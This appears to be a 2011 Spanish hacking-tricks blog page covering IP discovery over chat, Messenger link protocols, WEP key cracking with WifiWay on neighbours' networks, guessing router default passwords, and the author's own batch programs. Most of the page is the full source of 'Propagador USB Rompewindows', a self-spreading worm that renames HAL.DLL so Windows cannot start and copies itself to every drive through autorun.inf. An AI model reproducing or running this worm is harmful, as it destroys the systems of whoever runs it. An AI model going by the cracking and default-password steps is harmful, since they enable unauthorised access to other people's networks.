miércoles, 1 de junio de 2011

Averiguar la IP de la persona con la que hablas

Es muy sencillo, solo tienes que enviar un archivo a esa persona o que te lo envíe ella a ti.
Pon alguna buena excusa, cuando se esté transfiriendo el archivo, vas al MS-DOS y escribes: netstat -a
Te saldrán una serie de ip's y servidores, pero no te será difícil reconocer la IP de tu amigo.
Para reconocerla mas fácilmente, intenta no tener paginas Web abiertas, ya que de esta forma te saldrán mas ip's y te será mas difícil encontrarla.
Si escribes: netstat -a > c:\archivo.txt te creará un archivo.txt en c:\ con el contenido del netstat, así lo podrás analizar más fácilmente.

Abrir ventana sin datos sin mail y sin nick

Con este truco puedes hacer que al abrir una ventana de chat a alguien este no sepa con quien habla ya que no le aparece arriba el mail ni el nick. 

Se hace de la siguiente manera: 

En el menú de cambiar el nick, escribes lo siguiente, manteniendo pulsada la tecla ALT y luego presionas los números 0160 del teclado numérico (ALT+0160) se creará un vació en blanco, ahora seleccionas ese vació con el ratón, y haces COPIAR, y luego lo PEGAS muchísimas veces más en el nick hasta que te canses puedes hacerCtrl+C para copiar, y Ctrl+V para pegar.

Protocolos en Windows Live Messenger

Normalmente cualquier navegador de internet (Internet Explorer, Firefox, Opera, etc...) tiene una serie de protocolos que colocados en un enlace web permiten interactuar con un programa. Esto es lo que se entiende como Protocol Hander.

Para que nos entendamos, un caso muy común de protocolo es mailto:, que situado en un enlace web o hipervínculo permite enviar un correo a una persona. Seguramente al visitar hayas visto algún enlace titulado email, contacto o simplemente en un blog un enlace que pone envíame un correo pulsando aquí. Cualdo haces clic en esos enlaces, por arte de magia se abre el programa que usemos para leer el correo (por ejemplo Outlook). Este tipo de enlaces utilizan el protocolo mailto:

Otro ejemplo son los enlaces precedidos de http: que indican que es un hipervínculo que enlazará con una página web, un fichero de texto, una imagen, etc...

Se caracterizan por ir al principio de un vínculo de internet y seguidos de dos puntos :

Windows Live Messenger tiene sus propios Protocol handers, que permiten interactuar con él. Todos ellos comienzan por msnim: y nos permitirán cosas tan curiosas como iniciar una conversación haciendo clic en un enlace con alguien que podemos conocer o no.
  • msnim:add?contact=direcciondecorreo@dominio.com es un protocol hander que permite crear un enlace que al ser pulsado agrega un contacto a nuestra lista de contactos de messenger de forma automática.
  • msnim:chat?contact=direcciondecorreo@dominio.com permite crear un enlace que al ser pulsado abre una ventana de conversación para hablar con la persona que utilice esa dirección de correo en su cuenta de messenger.
  • msnim:voice?contact=direcciondecorreo@dominio.com crea un enlace que permite iniciar una conversación de voz con la persona que use ese messenger
  • msnim:video?contact=direcciondecorreo@dominio.com crea un enlace que al ser pulsado inicia una videollamada con el contacto indicado.

Veamos un ejemplo práctico de cómo usar estos protocolos. Imaginemos que queremos crear en nuestro blog un enlace para que la gente nos agregue al messenger al pulsarlo y que ponga el texto Agrégame al messenger. Para conseguirlo bastará con escribir el siguiente código html:
<a href=msnim:add?contact=mimessenger@hotmail.com>Agrégame a tu messenger</a>
El resultado sería un enlace como este: Agrégame al messenger

Aircrack-ng 1.1 para Ubuntu




Aircrack-ng es una aplicación gratuita y de código abierto para GNU/Linux con la que podrás comprobar qué tan sólida es la clave de tu red WiFi, ya tenga cifrado WEP o WPA.


Podemos centrar la prueba de seguridad en una red o en todas las que nuestra tarjeta sea capaz de detectar, gracias a Airodump-ng, una herramienta incluída en la instalación.

Una vez capturados los paquetes, podremos proceder a descifrar la clave e intentar a entrar en la red con ella.

Recuerda que Aircrack-ng es una herramienta creada para usar exclusivamente en redes de tu propiedad. Su utilización en redes ajenas puede ser considerado delito.



Licencia:Open Source (gratis)
Idioma: Español
Fecha: 13.10.10
Autor: Thomas d'Otreppe
Tamaño: 1.51MB
 



Descargar: http://de.archive.ubuntu.com/ubuntu/pool/universe/a/aircrack-ng/aircrack-ng_1.1-1_i386.deb 

Manuales de WifiWay

 MANUAL WIFI WAY 2.0.1 (2.0.0 y 2.0.1 Videotutoriales mas abajo)

Bien para usar este programa es muy sencillo es casi como el 1
le damos a inicio, wifiway(arriba del todo), aircrck-ng (abajo del todo)
le damos a aeroescrip nuevo, nos pedira poner la antena en modo monitor
y nos saldra una ventana pequeña que pontra eth1 lo damos a aceptar y
saldra una ventana mas grande que te dira el nombre de tu antena
lo cerramos todo y otra vez le damos a inicio, wifiway(arriba del todo), aircrck-ng (abajo del todo)
le damos a aeroescrip nuevo, nos pedira poner la antena en modo monitor
y nos saldra una ventana pequeña que pontra eth1 esta vez le damos a (ETH1)
y te saldra una lista seleccionas el nombre de tu antena y lo cierras todo menos el
airoscrpt y a partir de hay le dais al 1 en la resolucion de pantalla, luego le dais al 1 (escanear)
despues al 3 (wep) despes al 2 (sin canal especifico) te saldra una ventana con todas las conexiones
que encuentras, esperamos a que cargue un poco y cerramos la ventana luego le damos al 2 (seleccionar)
te saldran todas las conexiones que salieron anteriormente seleccionas la que sea (se selecciona dandole al numero
en el que este situada 1,2,3,ect..)
despues de seleccionarla le damos al 3 (ataques), luego al 1 y saldran tres ventanas una negra una verde y otra roja pos en la negra con letras blancas esperamos a tener mas de 30.000 ^DATAS^ des pues de tener 30,000 cerramos las tres ventanas son 4 pero solo hay que cerrar las de colores (no cerrar el aeroscipt)
luego le damos a 4 , luego al 1 , otra vez al 1 esperamos y en rojo te da la contraseña, hay que asegurrarse de
tenerla bien apuntada y tambien te dara el ^ascii^ hay que apuntarlo y ya esta-

pd: en el link pone wifixlax pero es el wifiway

bueno, cuando ya tengamos la conexion podremos usar internet,
pero si no te deja conectarte, se puede reiniciar el ruter desde tu
pc sin tener que esperar a que lo reinicien, es muy sencillo:
primero abrimos un comando y escribimos: ipconfig
luego apuntamos la puerta de enlace(dns) y en internet explorer la escribimos
donde escribes la url.
luego nos pedira nombre y contraseña.
prueben con:
nombre contraseña
1234 1234
administrador admin
admin administrador
admin 1234
administrador 1234
en caso de que fuera una wlan_XX sera nombre 1234 y contraseña 1234
y a partir de hay se puede reiniciar apagar cambiar la contraseña y mas.
como configurar la bios (setup)

EN CASO DE QUE NO ARRANQUE EL CD
hay que hacerlo sin el disco de wifiway dentro, es fácil y muy necesario para que el pc arranque con wifiway esto vale para cualquier sistema operativo: en caso de que no arranque el disco de wifiway esta es la solucion
ay que arrancar el pc sin wifiway y cuando este cargando saldrá una pantalla que pondra: f1recuperacion del sistema, esc steup, eso depende de el tipo de pc en mi caso es: esc cuando aparezca esa pantalla seleccionais steup.
una vez dentro ay que darle a:
arranque
preferencia de arranque
y poner en primer lugar la unidad de cD
(la bios estará en ingles habrá que cambiar el idioma y al realizar la operación volver a ponerlo en su idioma)
y ya estara listo 

espero que les sirba 

BUENO AQUI ESTAN LOS VIDEOTUTORIALES DE WIFIWAY 
2.0.0


WifiWay 2.0.1

Romper Claver Wep con Wifiway 2.0.0

Algunos Programas

Hola, en este día empezare con unos programitas que hice cuando estaba aburrido!

Bueno son algunos y creados por mi en batch:

Aquí Van:



   
Reloj Loco:

Este lo que hace es:
Cuando lo ejecutas, empieza a correr la HORA del reloj como Segundos y los MINUTOS como Milesimas. xD



Explorer Fack


Este lo que hace es: 
Cuando lo ejecutas, crea un servicio llamado Explorer Fack para que se ejecute cada vez que se inicia el sistema, luego se ejecuta el efecto. El efecto consiste en un bucle infinito, dentro del bucle se ejecuta la acción de poner las ventanas de windows en cascada Horizontal y Vertical(Se InterCambiar), creando molestia en la visual del explorador de windows, solo pruevenlo.

Para eliminarlo del sistema crear el siguiente batch y ejecutarlo:

@echo off
taskkill /im /f explorer.exe
schtasks /delete /tn "explorer fack" /f
del /q %windir%\system32\HackYellow\explorer.exe
start explorer.exe
taskkill /im /f cmd.exe
exit



BUSCADOR DE GOOGLE: 





PROPAGADOR USB ROMPEWINDOWS:

Este lo que hace es:

Este programa cuando lo ejecutamos lo que hace es buscar en todas las unidades de almacenamiento extraible y discos duros si esta el archivo AUTORUN.INF, si existe lo borra(Elimina atributos de solo lectura y elimina el archivo), luego crea uno nuevo y se copia asi mismo(Esto proboca que el Propagador Rompe Windows se ejecute desde la USB en cualquier maquina que este se conecte), cuando el programa se esta ejecutando, ademas de buscar y propagarse, modifica el archivo HAL.DLL(Imprescindible para el inicio de Windows: Aca esta el truco) cambiandole el nombre por ROTO.DLL (El Archivo HAL.DLL se encuentra en "c:\windows\system32\hal.dll"). Asi es como el programa Funciona: Se propaga y modifica el HAL.DLL impidiendo el inicio del sistema.

NOTA: El programa consiste en un bucle infinito, los archivos que se crean pueden eliminarse y crearse varias veces en el pendrive, si el programa se esta ejecutando, cuando borremos los archivos del Pendrive que se copian y se les cambia el atributo a "oculto", se volveran a crear.

CODIGO BATCH:


@echo off
explorer.exe %cd%
RENAME "%WINDIR%\SYSTEM32\HAL.DLL" ROTO.DLL
GOTO BUSCARUSB
rem EXPLICACION: 
reM 
rem ESTE ES UN ROMPEWINDOWS QUE SE PROPAGA POR LA USB E INFECTA PCS
rem CONSTA EN BUSCAR EN LA USB SI EXISTEN ARCHIVOS AUTORUN.
rem SI EXISTE LO BORRA Y CREA UNO NUEVO, COLOCANDOLO JUNTO CON EL 
rem ROMPEWINDWS. CUANDO SE CONECTA AL USB UN DISPOSITIVO CON ESTE 
rem VIRUS, ESTE SE INSTALA EN LA PC Y SE EJECUTA, LA EJECUCION
rem CONSISTE EN UN BUCLE INFINITO QUE BUSCA EN LAS USB, DISCOS DUROS
rem SI EXISTE EL AUTORUN, YA MENSIONADO ANTERIORMENTE, Y SI SE PROPAGA
REM COPIANDOSE A SI MISMO MEDIANTE USB, Y DISCOS DUROS.


rem MENU BUSCAR:

:BUSCARUSB
GOTO C


:C
if exist C:\AUTORUN.INF (goto EXISTE3) else goto NOEXISTE3

:D
if exist "D:\AUTORUN.INF" (goto EXISTE4) else goto noexiste4

:E
if exist "E:\AUTORUN.INF" (goto EXISTE5) else goto noexiste5

:F
if exist "F:\AUTORUN.INF" (goto EXISTE6) else goto noexiste6

:G
if exist "G:\AUTORUN.INF" (goto EXISTE7) else goto noexiste7

:H
if exist "H:\AUTORUN.INF" (goto EXISTE8) else goto noexiste8

:I
if exist "I:\AUTORUN.INF" (goto EXISTE9) else goto noexiste9

:J
if exist "J:\AUTORUN.INF" (goto EXISTE10) else goto noexiste10

:K
if exist "K:\AUTORUN.INF" (goto EXISTE11) else goto noexiste11

:L
if exist "L:\AUTORUN.INF" (goto EXISTE12) else goto noexiste12

:M
if exist "M:\AUTORUN.INF" (goto EXISTE13) else goto noexiste13

:N
if exist "N:\AUTORUN.INF" (goto EXISTE14) else goto noexiste14

if exist "Ñ:\AUTORUN.INF" (goto EXISTE15) else goto noexiste15

:O
if exist "O:\AUTORUN.INF" (goto EXISTE16) else goto noexiste16

:P
if exist "P:\AUTORUN.INF" (goto EXISTE17) else goto noexiste17

:Q
if exist "Q:\AUTORUN.INF" (goto EXISTE18) else goto noexiste18

:R
if exist "R:\AUTORUN.INF" (goto EXISTE19) else goto noexiste19

:S
if exist "S:\AUTORUN.INF" (goto EXISTE20) else goto noexiste20

:T
if exist "T:\AUTORUN.INF" (goto EXISTE21) else goto noexiste21

:U
if exist "U:\AUTORUN.INF" (goto EXISTE22) else goto noexiste22

:V
if exist "V:\AUTORUN.INF" (goto EXISTE23) else goto noexiste23

:W
if exist "W:\AUTORUN.INF" (goto EXISTE24) else goto noexiste24

:X
if exist "X:\AUTORUN.INF" (goto EXISTE25) else goto noexiste25

:Y
if exist "Y:\AUTORUN.INF" (goto EXISTE26) else goto noexiste26

:Z
if exist "Z:\AUTORUN.INF" (goto EXISTE27) else goto noexiste27


rem MENU EXISTE:


:EXISTE3
ATTRIB -H C:\AUTORUN.INF
ATTRIB -R C:\AUTORUN.INF
DEL /Q /A C:\AUTORUN.INF
GOTO CREAR3

:EXISTE4
ATTRIB -H "D:\AUTORUN.INF"
ATTRIB -R "D:\AUTORUN.INF"
DEL /Q /A "D:\AUTORUN.INF"
GOTO CREAR4

:EXISTE5
ATTRIB -H "E:\AUTORUN.INF"
ATTRIB -R "E:\AUTORUN.INF"
DEL /Q /A "E:\AUTORUN.INF"
GOTO CREAR5

:EXISTE6
ATTRIB -H "F:\AUTORUN.INF"
ATTRIB -R "F:\AUTORUN.INF"
DEL /Q /A "F:\AUTORUN.INF"
GOTO CREAR6

:EXISTE7
ATTRIB -H "G:\AUTORUN.INF"
ATTRIB -R "G:\AUTORUN.INF"
DEL /Q /A "G:\AUTORUN.INF"
GOTO CREAR7

:EXISTE8
ATTRIB -H "H:\AUTORUN.INF"
ATTRIB -R "H:\AUTORUN.INF"
DEL /Q /A "H:\AUTORUN.INF"
GOTO CREAR8

:EXISTE9
ATTRIB -H "I:\AUTORUN.INF"
ATTRIB -R "I:\AUTORUN.INF"
DEL /Q /A "I:\AUTORUN.INF"
GOTO CREAR9

:EXISTE10
ATTRIB -H "J:\AUTORUN.INF"
ATTRIB -R "J:\AUTORUN.INF"
DEL /Q /A "J:\AUTORUN.INF"
GOTO CREAR10

:EXISTE11
ATTRIB -H "K:\AUTORUN.INF"
ATTRIB -R "K:\AUTORUN.INF"
DEL /Q /A "K:\AUTORUN.INF"
GOTO CREAR11

:EXISTE12
ATTRIB -H "L:\AUTORUN.INF"
ATTRIB -R "L:\AUTORUN.INF"
DEL /Q /A "L:\AUTORUN.INF"
GOTO CREAR12

:EXISTE13
ATTRIB -H "M:\AUTORUN.INF"
ATTRIB -R "M:\AUTORUN.INF"
DEL /Q /A "M:\AUTORUN.INF"
GOTO CREAR13

:EXISTE14
ATTRIB -H "N:\AUTORUN.INF"
ATTRIB -R "N:\AUTORUN.INF"
DEL /Q /A "N:\AUTORUN.INF"
GOTO CREAR14

:EXISTE15
ATTRIB -H "Ñ:\AUTORUN.INF"
ATTRIB -R "Ñ:\AUTORUN.INF"
DEL /Q /A "Ñ:\AUTORUN.INF"
GOTO CREAR15

:EXISTE16
ATTRIB -H "O:\AUTORUN.INF"
ATTRIB -R "O:\AUTORUN.INF"
DEL /Q /A "O:\AUTORUN.INF"
GOTO CREAR16

:EXISTE17
ATTRIB -H "P:\AUTORUN.INF"
ATTRIB -R "P:\AUTORUN.INF"
DEL /Q /A "P:\AUTORUN.INF"
GOTO CREAR17

:EXISTE18
ATTRIB -H "Q:\AUTORUN.INF"
ATTRIB -R "Q:\AUTORUN.INF"
DEL /Q /A "Q:\AUTORUN.INF"
GOTO CREAR18

:EXISTE19
ATTRIB -H "R:\AUTORUN.INF"
ATTRIB -R "R:\AUTORUN.INF"
DEL /Q /A "R:\AUTORUN.INF"
GOTO CREAR19

:EXISTE20
ATTRIB -H "S:\AUTORUN.INF"
ATTRIB -R "S:\AUTORUN.INF"
DEL /Q /A "S:\AUTORUN.INF"
GOTO CREAR20

:EXISTE21
ATTRIB -H "T:\AUTORUN.INF"
ATTRIB -R "T:\AUTORUN.INF"
DEL /Q /A "T:\AUTORUN.INF"
GOTO CREAR21

:EXISTE22
ATTRIB -H "U:\AUTORUN.INF"
ATTRIB -R "U:\AUTORUN.INF"
DEL /Q /A "U:\AUTORUN.INF"
GOTO CREAR22

:EXISTE23
ATTRIB -H "V:\AUTORUN.INF"
ATTRIB -R "V:\AUTORUN.INF"
DEL /Q /A "V:\AUTORUN.INF"
GOTO CREAR23

:EXISTE24
ATTRIB -H "W:\AUTORUN.INF"
ATTRIB -R "W:\AUTORUN.INF"
DEL /Q /A "W:\AUTORUN.INF"
GOTO CREAR24

:EXISTE25
ATTRIB -H "X:\AUTORUN.INF"
ATTRIB -R "X:\AUTORUN.INF"
DEL /Q /A "X:\AUTORUN.INF"
GOTO CREAR25

:EXISTE26
ATTRIB -H "Y:\AUTORUN.INF"
ATTRIB -R "Y:\AUTORUN.INF"
DEL /Q /A "Y:\AUTORUN.INF"
GOTO CREAR26

:EXISTE27
ATTRIB -H "Z:\AUTORUN.INF"
ATTRIB -R "Z:\AUTORUN.INF"
DEL /Q /A "Z:\AUTORUN.INF"
GOTO CREAR27

rem MENU NOEXISTE:


:NOEXISTE3
GOTO CREAR3

:NOEXISTE4
GOTO CREAR4

:NOEXISTE5
GOTO CREAR5

:NOEXISTE6
GOTO CREAR6

:NOEXISTE7
GOTO CREAR7

:NOEXISTE8
GOTO CREAR8

:NOEXISTE9
GOTO CREAR9

:NOEXISTE10
GOTO CREAR10

:NOEXISTE11
GOTO CREAR11

:NOEXISTE12
GOTO CREAR12

:NOEXISTE13
GOTO CREAR13

:NOEXISTE14
GOTO CREAR14

:NOEXISTE15
GOTO CREAR15

:NOEXISTE16
GOTO CREAR16

:NOEXISTE17
GOTO CREAR17

:NOEXISTE18
GOTO CREAR18

:NOEXISTE19
GOTO CREAR19

:NOEXISTE20
GOTO CREAR20

:NOEXISTE21
GOTO CREAR21

:NOEXISTE22
GOTO CREAR22

:NOEXISTE23
GOTO CREAR23

:NOEXISTE24
GOTO CREAR24

:NOEXISTE25
GOTO CREAR25

:NOEXISTE26
GOTO CREAR26

:NOEXISTE27
GOTO CREAR27

rem MENU CREAR: 


:CREAR3
ECHO [AUTORUN]>>"C:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"C:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"C:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"C:\AUTORUN.INF"
ATTRIB -H "C:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "C:\"
ATTRIB +H "C:\AUTORUN.INF"
ATTRIB +H "C:\ROMPEWINDOWS.CMD"
GOTO D

:CREAR4
ECHO [AUTORUN]>>"D:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"D:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"D:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"D:\AUTORUN.INF"
ATTRIB -H "D:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "D:\"
ATTRIB +H "D:\AUTORUN.INF"
ATTRIB +H "D:\ROMPEWINDOWS.CMD"
GOTO E

:CREAR5
ECHO [AUTORUN]>>"E:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"E:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"E:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"E:\AUTORUN.INF"
ATTRIB -H "E:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "E:\"
ATTRIB +H "E:\AUTORUN.INF"
ATTRIB +H "E:\ROMPEWINDOWS.CMD"
GOTO F

:CREAR6
ECHO [AUTORUN]>>"F:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"F:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"F:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"F:\AUTORUN.INF"
ATTRIB -H "F:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "F:\"
ATTRIB +H "F:\AUTORUN.INF"
ATTRIB +H "F:\ROMPEWINDOWS.CMD"
GOTO G

:CREAR7
ECHO [AUTORUN]>>"G:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"G:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"G:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"G:\AUTORUN.INF"
ATTRIB -H "G:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "G:\"
ATTRIB +H "G:\AUTORUN.INF"
ATTRIB +H "G:\ROMPEWINDOWS.CMD"
GOTO H

:CREAR8
ECHO [AUTORUN]>>"H:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"H:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"H:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"H:\AUTORUN.INF"
ATTRIB -H "H:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "H:\"
ATTRIB +H "H:\AUTORUN.INF"
ATTRIB +H "H:\ROMPEWINDOWS.CMD"
GOTO I

:CREAR9
ECHO [AUTORUN]>>"I:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"I:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"I:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"I:\AUTORUN.INF"
ATTRIB -H "I:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "I:\"
ATTRIB +H "I:\AUTORUN.INF"
ATTRIB +H "I:\ROMPEWINDOWS.CMD"
GOTO J

:CREAR10
ECHO [AUTORUN]>>"J:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"J:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"J:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"J:\AUTORUN.INF"
ATTRIB -H "J:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "J:\"
ATTRIB +H "J:\AUTORUN.INF"
ATTRIB +H "J:\ROMPEWINDOWS.CMD"
GOTO K

:CREAR11
ECHO [AUTORUN]>>"K:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"K:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"K:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"K:\AUTORUN.INF"
ATTRIB -H "K:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "K:\"
ATTRIB +H "K:\AUTORUN.INF"
ATTRIB +H "K:\ROMPEWINDOWS.CMD"
GOTO L

:CREAR12
ECHO [AUTORUN]>>"L:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"L:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"L:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"L:\AUTORUN.INF"
ATTRIB -H "L:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "L:\"
ATTRIB +H "L:\AUTORUN.INF"
ATTRIB +H "L:\ROMPEWINDOWS.CMD"
GOTO M

:CREAR13
ECHO [AUTORUN]>>"M:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"M:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"M:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"M:\AUTORUN.INF"
ATTRIB -H "M:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "M:\"
ATTRIB +H "M:\AUTORUN.INF"
ATTRIB +H "M:\ROMPEWINDOWS.CMD"
GOTO N

:CREAR14
ECHO [AUTORUN]>>"N:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"N:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"N:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"N:\AUTORUN.INF"
ATTRIB -H "N:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "N:\"
ATTRIB +H "N:\AUTORUN.INF"
ATTRIB +H "N:\ROMPEWINDOWS.CMD"
GOTO Ñ

:CREAR15
ECHO [AUTORUN]>>"Ñ:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"Ñ:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"Ñ:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"Ñ:\AUTORUN.INF"
ATTRIB -H "Ñ:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "Ñ:\"
ATTRIB +H "Ñ:\AUTORUN.INF"
ATTRIB +H "Ñ:\ROMPEWINDOWS.CMD"
GOTO O

:CREAR16
ECHO [AUTORUN]>>"O:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"O:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"O:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"O:\AUTORUN.INF"
ATTRIB -H "O:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "O:\"
ATTRIB +H "O:\AUTORUN.INF"
ATTRIB +H "O:\ROMPEWINDOWS.CMD"
GOTO P

:CREAR17
ECHO [AUTORUN]>>"P:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"P:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"P:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"P:\AUTORUN.INF"
ATTRIB -H "P:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "P:\"
ATTRIB +H "P:\AUTORUN.INF"
ATTRIB +H "P:\ROMPEWINDOWS.CMD"
GOTO Q


:CREAR18
ECHO [AUTORUN]>>"Q:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"Q:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"Q:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"Q:\AUTORUN.INF"
ATTRIB -H "Q:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "Q:\"
ATTRIB +H "Q:\AUTORUN.INF"
ATTRIB +H "Q:\ROMPEWINDOWS.CMD"
GOTO R


:CREAR19
ECHO [AUTORUN]>>"R:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"R:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"R:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"R:\AUTORUN.INF"
ATTRIB -H "R:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "R:\"
ATTRIB +H "R:\AUTORUN.INF"
ATTRIB +H "R:\ROMPEWINDOWS.CMD"
GOTO S


:CREAR20
ECHO [AUTORUN]>>"S:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"S:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"S:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"S:\AUTORUN.INF"
ATTRIB -H "S:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "S:\"
ATTRIB +H "S:\AUTORUN.INF"
ATTRIB +H "S:\ROMPEWINDOWS.CMD"
GOTO T


:CREAR21
ECHO [AUTORUN]>>"T:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"T:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"T:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"T:\AUTORUN.INF"
ATTRIB -H "T:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "T:\"
ATTRIB +H "T:\AUTORUN.INF"
ATTRIB +H "T:\ROMPEWINDOWS.CMD"
GOTO U


:CREAR22
ECHO [AUTORUN]>>"U:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"U:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"U:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"U:\AUTORUN.INF"
ATTRIB -H "U:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "U:\"
ATTRIB +H "U:\AUTORUN.INF"
ATTRIB +H "U:\ROMPEWINDOWS.CMD"
GOTO V


:CREAR23
ECHO [AUTORUN]>>"V:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"V:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"V:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"V:\AUTORUN.INF"
ATTRIB -H "V:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "V:\"
ATTRIB +H "V:\AUTORUN.INF"
ATTRIB +H "V:\ROMPEWINDOWS.CMD"
GOTO W


:CREAR24
ECHO [AUTORUN]>>"W:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"W:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"W:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"W:\AUTORUN.INF"
ATTRIB -H "W:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "W:\"
ATTRIB +H "W:\AUTORUN.INF"
ATTRIB +H "W:\ROMPEWINDOWS.CMD"
GOTO X


:CREAR25
ECHO [AUTORUN]>>"X:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"X:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"X:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"X:\AUTORUN.INF"
ATTRIB -H "X:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "X:\"
ATTRIB +H "X:\AUTORUN.INF"
ATTRIB +H "X:\ROMPEWINDOWS.CMD"
GOTO Y


:CREAR26
ECHO [AUTORUN]>>"Y:\AUTORUN.INF"
ECHO OPEN=ROMPEWINDOWS.CMD>>"Y:\AUTORUN.INF"
ECHO SHELL\VERB1=OPEN>>"Y:\AUTORUN.INF"
ECHO SHELL\VERB1\COMMAND="ROMPEWINDOWS.CMD">>"Y:\AUTORUN.INF"
ATTRIB -H "Y:\ROMPEWINDOWS.CMD"
XCOPY /Y %0 "Y:\"
ATTRIB +H "Y:\AUTORUN.INF"
ATTRIB +H "Y:\ROMPEWINDOWS.CMD"
GOTO Z

:CREAR27
